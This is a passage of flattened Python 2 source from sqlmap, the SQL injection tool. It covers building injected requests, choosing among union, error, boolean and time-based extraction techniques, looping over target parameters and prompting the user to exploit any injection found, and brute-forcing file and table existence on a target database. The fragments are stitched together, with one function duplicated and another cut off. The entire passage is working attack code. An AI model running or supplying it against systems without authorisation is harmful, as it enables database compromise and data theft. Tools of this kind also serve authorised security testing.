"%s%s=%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace( splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[ PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[ PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace( CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[ PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[ PLACE. USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[ PLACE. REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[ PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: if not auxHeaders: auxHeaders = {} auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub( "%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter( cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} for item in filter(None, (get, post if not kb.postHint else None)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus)) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) if cookie: for part in cookie.split(conf.cDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = unicode(value) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(delimiter), name, re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) if re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % ( conf.cDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr( post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif urlEncodePost: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based payloads" singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in ( NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ ) and HTTP_HEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: pageLength = int( headers[HTTP_HEADER.CONTENT_RANGE] [headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IDS/IPS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage( url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison( page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def fileExists(pathFile): retVal = [] message = "which common files file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % pathFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common files file location?\n" pathFile = readInput(message) or pathFile infoMsg = "checking files existence using items from '%s'" % pathFile logger.info(infoMsg) paths = getFileItems(pathFile, unique=True) kb.bruteMode = True try: conf.dbmsHandler.readFile(randomStr()) except SqlmapNoneDataException: pass except: kb.bruteMode = False raise threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(paths) threadData.shared.files = [] def fileExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: path = ntToPosixSlashes(paths[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break try: result = unArrayizeValue(conf.dbmsHandler.readFile(path)) except SqlmapNoneDataException: result = None kb.locks.io.acquire() if not isNoneValue(result): threadData.shared.files.append(result) if not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % ( time.strftime("%X"), path) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: pushValue(logger.getEffectiveLevel()) logger.setLevel(logging.CRITICAL) runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) finally: kb.bruteMode = False logger.setLevel(popValue()) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no file(s) found" logger.warn(warnMsg) else: retVal = threadData.shared.files return retVal
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "[INFO] checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally:
def tableExists(tableFile, regex=None): if kb.choices.tableExists is None and not any( _ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % ( PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.tableExists = readInput(message, default='N', boolean=True) if not kb.choices.tableExists: return None result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) pushValue(conf.db) if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile infoMsg = "performing table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS, ), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) for conf.db in (conf.db.split(',') if conf.db else [conf.db]): if conf.db and METADB_SUFFIX not in conf.db: infoMsg = "checking database '%s'" % conf.db logger.info(infoMsg) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.files = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming( tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table if Backend.isDbms(DBMS.MCKOI): _ = randomInt(1) result = inject.checkBooleanExpression( "%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) else: result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.files.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % ( time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: warnMsg += " for database '%s'" % conf.db logger.warn(warnMsg) else: for item in threadData.shared.files: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.files): if _ not in kb.brute.tables: kb.brute.tables.append(_) conf.db = popValue() hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): 